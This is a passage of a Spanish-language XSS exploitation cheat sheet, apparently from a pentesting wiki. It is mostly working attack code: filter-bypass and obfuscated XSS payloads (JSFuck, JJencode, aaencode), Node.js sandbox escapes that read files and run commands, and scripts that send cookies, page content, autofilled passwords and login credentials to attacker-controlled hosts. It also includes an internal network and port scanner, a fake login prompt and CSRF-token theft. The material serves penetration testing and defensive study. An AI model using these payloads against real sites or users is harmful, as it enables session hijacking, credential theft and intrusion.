top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
Vulnerabilidades DOM
Hay JS code que está usando datos de forma insegura controlados por un atacante como location.href
. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
Debido a la extensión de la explicación de las vulnerabilidades DOM se movieron a esta página:
Allí encontrarás una explicación detallada de qué son las vulnerabilidades DOM, cómo se provocan y cómo explotarlas.
También, no olvides que al final de la entrada mencionada puedes encontrar una explicación sobre DOM Clobbering attacks.
Escalando Self-XSS
Cookie XSS
Si puedes trigger un XSS enviando el payload dentro de una cookie, esto suele ser un self-XSS. Sin embargo, si encuentras un subdominio vulnerable a XSS, podrías abusar de ese XSS para inyectar una cookie en todo el dominio logrando desencadenar el cookie XSS en el dominio principal u otros subdominios (los que son vulnerables a cookie XSS). Para esto puedes usar el cookie tossing attack:
Puedes encontrar un gran abuso de esta técnica en esta entrada del blog.
Enviando tu sesión al administrador
Quizás un usuario pueda compartir su perfil con el administrador y, si el self XSS está dentro del perfil del usuario y el administrador lo accede, se disparará la vulnerabilidad.
Session Mirroring
Si encuentras un self XSS y la web tiene un session mirroring for administrators, por ejemplo permitiendo a los clientes pedir ayuda y, para que el administrador te ayude, él verá lo que estás viendo en tu sesión pero desde su propia sesión.
Podrías hacer que el administrador dispare tu self XSS y robar sus cookies/sesión.
Otros Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
Cuando una web app usa Emscripten/WASM, las cadenas constantes (como stubs de formato HTML) residen en memoria lineal escribible. Un único desbordamiento dentro del WASM (p. ej., memcpy sin comprobar en una ruta de edición) puede corromper estructuras adyacentes y redirigir escrituras hacia esas constantes. Sobrescribir una plantilla como "" convierte la entrada sanitizada en un valor de handler de JavaScript y produce un DOM XSS inmediato al renderizar.
Consulta la página dedicada con el flujo de explotación, DevTools memory helpers y defensas:
Wasm Linear Memory Template Overwrite Xss
Unicode normalizado
Puedes comprobar si los valores reflejados están siendo unicode normalized en el servidor (o en el cliente) y abusar de esta funcionalidad para evadir protecciones. Encuentra un ejemplo aquí.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Debido a RoR mass assignment se insertan comillas en el HTML y entonces la restricción de comillas se evade y se pueden agregar campos adicionales (onfocus) dentro de la etiqueta.
Ejemplo de formulario (from this report), si envías el payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
El par "Key","Value" se devolverá así:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Entonces, se insertará el atributo onfocus y ocurrirá XSS.
Combinaciones especiales
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS con header injection en una respuesta 302
Si encuentras que puedes inject headers in a 302 Redirect response podrías intentar hacer que el navegador ejecute JavaScript arbitrario. Esto no es trivial ya que los navegadores modernos no interpretan el HTTP response body si el HTTP response status code es 302, así que un cross-site scripting payload por sí solo es inútil.
En este informe y este puedes leer cómo puedes probar varios protocolos dentro del Location header y ver si alguno permite al navegador inspeccionar y ejecutar el XSS payload dentro del body.
Past known protocols: mailto://
, //x:1/
, ws://
, wss://
, empty Location header, resource://
.
Solo letras, números y puntos
Si puedes indicar el callback que javascript va a ejecutar limitado a esos caracteres. Lee esta sección de este post para ver cómo abusar de este comportamiento.
Content-Types válidos de <script>
para XSS
(From here) Si intentas cargar un script con un content-type como application/octet-stream
, Chrome lanzará el siguiente error:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Los únicos Content-Types que permitirán a Chrome ejecutar un loaded script son los que están dentro de la const kSupportedJavascriptTypes
from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Tipos de Script para XSS
(Desde here) Entonces, ¿qué tipos podrían indicarse para cargar un script?
<script type="???"></script>
La respuesta es:
- module (por defecto, nada que explicar)
- webbundle: Web Bundles es una característica que te permite empaquetar un conjunto de datos (HTML, CSS, JS…) en un archivo
.wbn
.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Permite mejorar la sintaxis de importación
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Este comportamiento se utilizó en this writeup para reasignar una librería a eval; abusar de esto puede desencadenar XSS.
- speculationrules: Esta característica está pensada principalmente para resolver algunos problemas causados por el pre-renderizado. Funciona así:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Content-Types web para XSS
(From here) Los siguientes content types pueden ejecutar XSS en todos los navegadores:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? no está en la lista pero creo haberlo visto en un CTF)
- application/rss+xml (off)
- application/atom+xml (off)
En otros navegadores otros Content-Types
pueden usarse para ejecutar JS arbitrario, consulta: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Si la página devuelve un content-type text/xml es posible indicar un namespace y ejecutar JS arbitrario:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Patrones especiales de reemplazo
Cuando se usa algo como "some {{template}} data".replace("{{template}}", <user_input>)
, el atacante podría usar special string replacements para intentar evadir algunas protecciones: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Por ejemplo, en this writeup, esto se usó para escapar una cadena JSON dentro de un script y ejecutar código arbitrario.
Chrome Cache to XSS
XS Jails Escape
Si solo dispones de un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Si todo está undefined antes de ejecutar código no confiable (como en this writeup) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código arbitrario no confiable:
- Usando import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Accediendo a
require
indirectamente
According to this Node.js envuelve los módulos en una función, así:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Por lo tanto, si desde ese módulo podemos llamar a otra función, es posible usar arguments.callee.caller.arguments[1]
desde esa función para acceder a require
:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
De manera similar al ejemplo anterior, es posible usar manejadores de errores para acceder al wrapper del módulo y obtener la función require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Diferentes obfuscations en una página: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Más sofisticado JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
Payloads comunes de XSS
Varios payloads en 1
Trampa de iframe
Forzar al usuario a navegar en la página sin salir del iframe y robar sus acciones (incluida la información enviada en formularios):
Recuperar Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
No podrás acceder a las cookies desde JavaScript si la bandera HTTPOnly está establecida en la cookie. Pero aquí tienes algunas formas de eludir esta protección si tienes suerte.
Robar contenido de la página
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Encontrar direcciones IP internas
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Escáner de puertos (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Tiempos cortos indican un port que responde Tiempos más largos indican que no hay respuesta.
Revisa la lista de ports prohibidos en Chrome here y en Firefox here.
Caja para pedir credenciales
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Captura de contraseñas autocompletadas
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Hijack form handlers to exfiltrate credentials (const shadowing)
Si un critical handler (por ejemplo, function DoLogin(){...}
) se declara más tarde en la página, y tu payload se ejecuta antes (por ejemplo, vía un inline JS-in-JS sink), define un const
con el mismo nombre primero para adelantarte y bloquear el handler. Las declaraciones de función posteriores no pueden rebind un nombre const
, dejando tu hook en control:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Notas
- Esto depende del orden de ejecución: tu inyección debe ejecutarse antes de la declaración legítima.
- Si tu payload está envuelto en
eval(...)
, las vinculacionesconst/let
no se convertirán en globales. Usa la técnica dinámica de inyección<script>
de la sección “Deliverable payloads with eval(atob()) and scope nuances” para asegurar una verdadera variable global, no reasignable. - Cuando filtros de palabras clave bloqueen código, combínalo con identificadores escapados en Unicode o la entrega
eval(atob('...'))
, como se muestra arriba.
Keylogger
Buscando en github encontré algunos diferentes:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- También puedes usar metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Robando mensajes de PostMessage
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
